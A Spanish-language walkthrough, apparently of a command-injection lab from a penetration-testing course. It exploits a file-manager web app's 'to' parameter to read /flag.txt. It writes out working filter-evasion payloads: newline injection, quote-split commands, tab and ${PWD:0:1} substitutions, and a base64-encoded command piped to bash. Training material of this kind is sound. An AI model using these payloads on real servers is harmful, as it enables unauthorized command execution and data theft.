Laboratorio de Command Injection
Enunciado
Le contratan para realizar una prueba de penetración para una empresa y, durante la prueba, descubre una interesante aplicación web de gestión de archivos. Dado que los gestores de archivos suelen ejecutar comandos del sistema, le interesa comprobar si existen vulnerabilidades de inyección de comandos.
Utilice las distintas técnicas presentadas en este módulo para detectar una vulnerabilidad de inyección de comandos y luego explotarla, evadiendo cualquier filtro existente.
- Autenticarse con el usuario
guesty la contraseñaguest.
¿Cuál es el contenido de ‘/flag.txt’?
Accedemos a la página web que nos ponen.
Entramos con las credenciales que nos dan y vemos lo siguiente un administrador de archivos.
Revisando la página vemos que la petición:
Nos da un error luego de probar con diferentes comandos vemos que en el parámetro to es vulnerable a inyección de comandos.
to=%0ap'w'd… -> /n pwd
Probamos con el comando pwd y vemos que nos muestra la ruta actual.

to=%0a'l's%09${PWD:0:1}… -> /n ls /
Listamos el contenido en / y vemos el archivo de la flag.

to=%0a'ca't%09${PWD:0:1}flag.txt… -> /n cat /flag.txt.
Leemos la flag.

Otra forma que tenemos de hacerlo es codificando los comandos en base 64 y pasárselo para que el servidor lo decodifique.
to=%0abash<<<$(base64%09-d<<<Y2F0IC9mbGFnLnR4dA==) -> /n cat /flag.txt
Si te sirvió de algo este tutorial ya para mi es más que suficiente, si me puedes decir en que podemos mejorar te lo voy a agradecer un montón.
Escríbeme por cualquiera de las vías